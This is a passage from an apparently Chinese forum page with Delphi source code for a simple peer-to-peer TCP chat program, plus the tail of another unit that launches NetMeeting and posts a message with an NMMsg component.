procedure Tfive.Internet1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('rundll32.exe'),
Pchar(' msconf.dll,CallToProtocolHandler %l'),
nil,sw_shownormal);
end;

procedure Tfive.N17Click(Sender: TObject);
begin
NMMsg1.FromName := Edit3.Text;
NMMsg1.Host := Edit2.Text;
NMMsg1.PostIt('查看你的信息,OK');
Firends.show;
end;

initialization
PicXCount := 5;
CreateErr := False;
end.
 
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls;

type
TChatForm = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Exit1: TMenuItem;
FileConnectItem: TMenuItem;
FileListenItem: TMenuItem;
StatusBar1: TStatusBar;
Bevel1: TBevel;
Panel1: TPanel;
Memo1: TMemo;
Memo2: TMemo;
N1: TMenuItem;
SpeedButton1: TSpeedButton;
Disconnect1: TMenuItem;
ServerSocket: TServerSocket;
ClientSocket: TClientSocket;
procedure FileListenItemClick(Sender: TObject);
procedure FileConnectItemClick(Sender: TObject);
procedure Exit1Click(Sender: TObject);
procedure Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormCreate(Sender: TObject);
procedure ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source,
HelpFile: string; HelpContext: Integer; var CancelDisplay: Wordbool);
procedure Disconnect1Click(Sender: TObject);
procedure ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocketAccept(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
protected
IsServer: Boolean;
end;

var
ChatForm: TChatForm;
Server: String;

implementation

{$R *.DFM}

procedure TChatForm.FileListenItemClick(Sender: TObject);
begin
FileListenItem.Checked := not FileListenItem.Checked;
if FileListenItem.Checked then
begin
ClientSocket.Active := False;
ServerSocket.Active := True;
Statusbar1.Panels[0].Text := 'Listening...';
end
else
begin
if ServerSocket.Active then
ServerSocket.Active := False;
Statusbar1.Panels[0].Text := '';
end;
end;

procedure TChatForm.FileConnectItemClick(Sender: TObject);
begin
if ClientSocket.Active then ClientSocket.Active := False;
if InputQuery('Computer to connect to', 'Address Name:', Server) then
if Length(Server) > 0 then
with ClientSocket do
begin
Host := Server;
Active := True;
FileListenItem.Checked := False;
end;
end;

procedure TChatForm.Exit1Click(Sender: TObject);
begin
ServerSocket.Close;
ClientSocket.Close;
Close;
end;

procedure TChatForm.Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_Return then
if IsServer then
ServerSocket.Socket.Connections[0].SendText(Memo1.Lines[Memo1.Lines.Count - 1])
else
ClientSocket.Socket.SendText(Memo1.Lines[Memo1.Lines.Count - 1]);
end;

procedure TChatForm.FormCreate(Sender: TObject);
begin
FileListenItemClick(nil);
end;

procedure TChatForm.ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source, HelpFile: string;
HelpContext: Integer; var CancelDisplay: Wordbool);
begin
ShowMessage(Description);
end;

procedure TChatForm.Disconnect1Click(Sender: TObject);
begin
ClientSocket.Active := False;
ServerSocket.Active := True;
Statusbar1.Panels[0].Text := 'Listening...';
end;

procedure TChatForm.ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.Panels[0].Text := 'Connected to: ' + Socket.RemoteHost;
end;

procedure TChatForm.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo2.Lines.Add(Socket.ReceiveText);
end;

procedure TChatForm.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo2.Lines.Add(Socket.ReceiveText);
end;

procedure TChatForm.ServerSocketAccept(Sender: TObject;
Socket: TCustomWinSocket);
begin
IsServer := True;
Statusbar1.Panels[0].Text := 'Connected to: ' + Socket.RemoteAddress;
end;

procedure TChatForm.ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo2.Lines.Clear;
end;

procedure TChatForm.ClientSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
FileListenItemClick(nil);
end;

procedure TChatForm.ClientSocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Memo2.Lines.Add('Error connecting to : ' + Server);
ErrorCode := 0;
end;

procedure TChatForm.ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.Panels[0].Text := 'Listening...';
end;

end.
 
多人接受答案了。
 
后退
顶部